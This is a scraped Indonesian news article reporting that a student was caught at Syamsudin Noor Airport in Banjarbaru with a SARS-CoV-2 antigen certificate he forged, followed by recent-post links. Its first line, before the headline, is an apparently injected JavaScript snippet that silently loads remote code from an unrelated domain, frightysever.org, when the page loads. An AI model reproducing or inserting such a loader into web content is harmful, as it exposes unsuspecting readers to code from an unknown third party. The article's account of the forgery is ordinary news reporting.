(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Bawa Surat Antigen Palsu, Seorang Pelajar Diamankan di Bandara Syamsudin Noor


KANALKALIMANTAN.COM, BANJARBARU – Polsek Banjarbaru Barat mengamankan seorang pelajar yang ketahuan membawa surat antigen palsu, Minggu (20/6/2021) sekitar pukul 16.20 Wita di Bandara Syamsudin Noor Banjarbaru.

Pelajar berinisial TAM itu tertangkap tangan oleh pihak KKP (Kantor Kesehatan Pelabuhan) Kelas II Banjarmasin, setelah menunjukan Surat Antigen SARS-CoV2 yang kemudian setelah diperiksa ternyata surat tersebut palsu. Peristiwa ini berlangsung saat yang bersangkutan berada di ruang tunggu keberangkatan di Bandara Syamsudin Noor.

Kapolsek Banjarbaru Barat Kompol Andri Hutagalung mengatakan, pelaku terbukti memalsukan Surat Antigen SARS-CoV2 yg dikeluarkan dari Klinik Dr L yang beralamat di Jalan Gatot Subroto No.88, Kelurahan Kuripan, Kota Banjarmasin, untuk keperluan pribadi tanpa melakukan pemeriksaan.

“Surat tersebut rencananya dipergunakan untuk keberangkatan menggunakan pesawat Lion Air menuju Surabaya pukul 16.45 Wita,” terangnya.

 

 

Menurut Kompol Andri, pelaku membuat surat antigen palsu tersebut dengan mengedit melalui HP miliknya pada saat berada di hotel dengan contoh yang sebelumnya milik kakak sepupu pelaku. Selanjutnya, surat tersebut dicetak melalui percetakan di Kecamatan Liang Anggang, Kota Banjarbaru.

Baca juga: Warganet Keluhkan Tarif Masuk Wisata Alam Tahura Sultan Adam Kelewat Mahal

“Alasan pelaku karena pelaku lupa pada saat akan berangkat menuju Surabaya belum melakukan tes antigen,” kata Kapolsek.

Dalam kasus ini, polisi mengamankan 1 selembar surat keterangan pemeriksaan yang dikeluarkan oleh Dr L.

“Untuk tersangka tidak dilakukan karena di bawah umur dan dari pihak keluarga akan menjamin akan menghadirkan dan mengikuti proses hukum,” terangnya.

Pasal yang akan dikenakan adalah Pasal 263 Ayat 2 KUHP tentang dengan sengaja memalsukan surat atau dokumen sehingga apabila digunakan dapat merugikan orang lain dengan ancaman 4 tahun. (Kanalkalimantan.com/dewi)

Reporter: dewi
Editor: cell


Risa

Recent Posts

Bupati Kapuas Resmikan Kantor Kelurahan Selat Hulu

KANALKALIMANTAN.COM, KUALA KAPUAS - Kantor Kelurahan Selat Hulu yang berlokasi di Jalan Cilik Riwut Gang… Read More

18 menit ago

13 Februari Hari Persatuan Ahli Farmasi Indonesia: Ini Sejarahnya

KANALKALIMANTAN.COM - Insan farmasi di Indonesia setiap tanggal 13 Februari memperingati Hari Persatuan Ahli Farmasi… Read More

3 jam ago

BI Kalsel Selenggarakan SERAMBI 2026, Dukung Kebutuhan Uang Kartal Periode Ramadan dan Idulfitri

KANALKALIMANTAN.COM, BANJARMASIN – Kantor Perwakilan (KPw) Bank Indonesia (BI) Provinsi Kalimantan Selatan menggelar kick off… Read More

4 jam ago

KPK Dalami Hubungan Jabatan Kepala KPP Madya Banjarmasin di 12 Perusahaan

KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) sedang mendalami hubungan antara jabatan direksi yang dimiliki… Read More

12 jam ago

Gubernur Muhidin Ingatkan Dana Transfer Pusat Dimanfaatkan Optimal

KANALKALIMANTAN.COM, BANJARMASIN – Gubernur Kalimantan Selatan (Kalsel) H Muhidin meminta langkah strategis untuk memastikan dana… Read More

13 jam ago

Upaya Mencegah Perkawinan Usia Anak di Balangan

KANALKALIMANTAN.COM, PARINGIN - Upaya mencegah perkawinan usia anak, Dinas Pemberdayaan Perempuan, Perlindungan Anak, Pengendalian Penduduk,… Read More

14 jam ago

This website uses cookies.